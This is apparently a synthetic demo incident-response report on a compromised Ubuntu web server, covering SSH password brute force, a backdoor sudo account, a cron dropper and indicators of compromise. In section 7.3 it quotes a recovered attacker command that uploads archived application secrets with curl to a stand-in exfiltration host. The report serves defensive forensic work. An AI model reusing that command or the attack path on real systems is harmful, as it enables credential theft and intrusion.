

web01 compromise: technical report

Technical incident report - Case IR-2026-0001: Web server compromise (demo)

Field	Value
Report	f8fd48cb-b80b-4efe-aada-b57f361717b3 (family f8fd48cb-b80b-4efe-aada-b57f361717b3), version 1
Status	Signed
Author	Demo Analyst <demo-analyst-4fd261@demo.example>
Data snapshot	2026-10-03T07:43:29.242213Z by Demo Analyst <demo-analyst-4fd261@demo.example>
Approved	Demo Lead <demo-lead-132509@demo.example> at 2026-10-03T07:43:29.447215Z
Signed	Demo Lead <demo-lead-132509@demo.example> at 2026-10-03T07:43:29.475257Z (key ed25519-9ac630fa239978b1)
Case	severity high, status open, opened 2026-10-03T07:43:14.342370Z

1. Executive summary

On 14 September 2026 between 02:10 and 03:05 UTC an external actor at 203.0.113.45 guessed the password of the deploy account on the web server web01 over SSH, became root, created the backdoor account backupsvc in the sudo group, installed a cron job that downloads a script every ten minutes, and uploaded an archive of the application's configuration and secrets to 198.51.100.23.

2. Scope, objectives and authorization

Host web01 (Ubuntu web server, 10.20.0.15). Evidence: /var/log/auth.log, root's .bash_history, a perimeter packet capture for 14 September 02:00-03:30 UTC, and the dropper script recovered from /tmp/.x.sh. Authorization: demo case, synthetic data only.

3. Methodology

Evidence was received into a write-once vault and hashed (SHA-256 and MD5) while it was stored; every item was re-hashed and compared before it was processed. Parsers read copies only and count the records they read against the events they emit. All times in this report are UTC; the original timestamp strings are kept with each event. The tools, parser versions and processing runs are listed below, and the chain of custody of every item is verified (hash chain and Ed25519 signatures) when the report snapshot is taken.

4. Tools and processing runs

Evidence	Kind	Parser / version	Outcome	Read / events	Tools
EV-001	parse	linux_auth 1.0.0	succeeded	60 / 60	dfirbench=0.1.0; python=3.12.14; tzdata=2026.4
EV-002	parse	shell_history 1.0.0	succeeded	30 / 15	dfirbench=0.1.0; python=3.12.14; tzdata=2026.4
EV-003	parse	pcap 1.0.0	succeeded	20 / 20	dfirbench=0.1.0; dpkt=1.9.8; python=3.12.14; tzdata=2026.4
EV-004	parse	yara_scan 1.0.0	succeeded	1 / 1	dfirbench=0.1.0; libyara=4.5.4; python=3.12.14; tzdata=2026.4; yara-python=4.5.4
	detect	None None	succeeded	None / None	detection_engine=1.0.0; dfirbench=0.1.0; python=3.12.14
	detect	None None	succeeded	None / None	detection_engine=1.0.0; dfirbench=0.1.0; python=3.12.14
	detect	None None	succeeded	None / None	detection_engine=1.0.0; dfirbench=0.1.0; python=3.12.14
	detect	None None	succeeded	None / None	detection_engine=1.0.0; dfirbench=0.1.0; python=3.12.14

5. Evidence inventory

ID	Name / kind	Source	Hashes	Size	Acquired	Custody
EV-001	auth.log (log)		SHA-256 45fb282c8addca8afd3aa518126f8f5c48d70596cfa6e506dc576588684a ae0e MD5 70e7dc06a3dc86a2a402dccf2dd2fc31	6371	-	verified

7. Findings

7.1 SSH password guessed after 24 attempts

24 failed SSH logins from 203.0.113.45 in four minutes, then an accepted password login for deploy at 02:14:05 UTC.

Confidence: high - Source of statement: Analyst - ATT&CK: T1110

Evidence reference	Time (UTC)	Summary
alert DFIR-LNX-0002 (c53cd090-a05b-4d69-98dd-0871eefd7c26)	2026-09-14T02:10:03Z	SSH success after failures
event auth_log ssh_accepted on web01 (47b5ae06-83f8-50f0-bddc-9902f605fff7)	2026-09-14T02:14:05Z	login - SSH login accepted for deploy from 203.0.113.45 (password)
evidence EV-001 (6cc93e97-40b9-4361-b21e-41a4fa4031e1)	2026-10-03T07:43:14.784839Z	auth.log (SHA-256 45fb282c8addca8afd3aa518126f8f5c48d70596cfa6e506dc576588684a ae0e)

7.2 Backdoor account backupsvc added to sudo

The attacker created backupsvc and added it to the sudo group at 02:21 UTC.

Confidence: high - Source of statement: Analyst - ATT&CK: T1098, T1136.001

Evidence reference	Time (UTC)	Summary
alert DFIR-LNX-0011 (324cd800-7b65-4058-9b22-3ffee71aff12)	2026-09-14T02:21:24Z	Linux user added to a privileged group

7.3 Application secrets uploaded to an external server

root archived /var/www/app/.env and the config directory and uploaded it with curl to files.exfil-drop.example (198.51.100.23); the capture shows a 56 KB TLS upload at 02:33:40 UTC.

Confidence: medium - Source of statement: Analyst - ATT&CK: T1048

Evidence reference	Time (UTC)	Summary
event shell_history shell_command on ? (023babe2-8302-5cbd-bb68-d139e9ef9242)	2026-09-14T02:33:40Z	command - sh: curl -k -T /tmp/.d.tgz https://files.exfil-drop.example/upload
evidence EV-003 (88cdc8b9-df48-410b-8da6-36387e850a31)	2026-10-03T07:43:15.982224Z	capture.pcap (SHA-256 ba04baab1ceb179144aeb983e79ea2ae868e2c52dd0569a805fd1c967f aa22)

8. Affected assets and accounts

- Host web01 (10.20.0.15)
- Account deploy (password guessed)
- Account root (direct SSH login)
- Account backupsvc (created by the attacker)

9. Indicators of compromise

Type	Value	TLP	Confidence	Source
domain	cdn-update.example	amber	0.6	demo: dropper download host
domain	files.exfil-drop.example	amber	0.6	demo: exfiltration host
ip	198.51.100.23	amber	0.9	demo: exfiltration endpoint
ip	203.0.113.45	amber	0.9	demo: SSH brute force and dropper host
sha256	17709153986a80ed587d9c4fe2c8616a101e9885d70f672fae58193b5e11 6524	amber	0.9	demo: dropper script /tmp/.x.sh

10. MITRE ATT&CK techniques

Technique	Alerts	Events
T1078	1	1
T1098	1	1

Technique	Alerts	Events
T1110	2	25
T1136.001	1	1

11. Root cause and attack path

Password authentication was enabled for SSH and the deploy account had a weak password; direct root login over SSH was allowed.

12. Impact assessment

Application secrets in /var/www/app/.env and /var/www/app/config must be treated as disclosed (about 56 KB sent over TLS to files.exfil-drop.example).

13. Containment, eradication and recovery

Rotate every secret in the application configuration, remove backupsvc and the cron entry, rebuild web01 from a known-good image, disable SSH password and root login, block 203.0.113.45 and 198.51.100.23 at the perimeter.

14. Lessons learned and improvements

Enforce key-only SSH on internet-facing hosts and alert on brute force.

15. Limitations and uncertainties

The packet capture covers only 02:00-03:30 UTC; TLS contents were not decrypted, so the archive's exact contents come from the shell history. Shell history can be edited by an attacker (the last command disabled history recording).
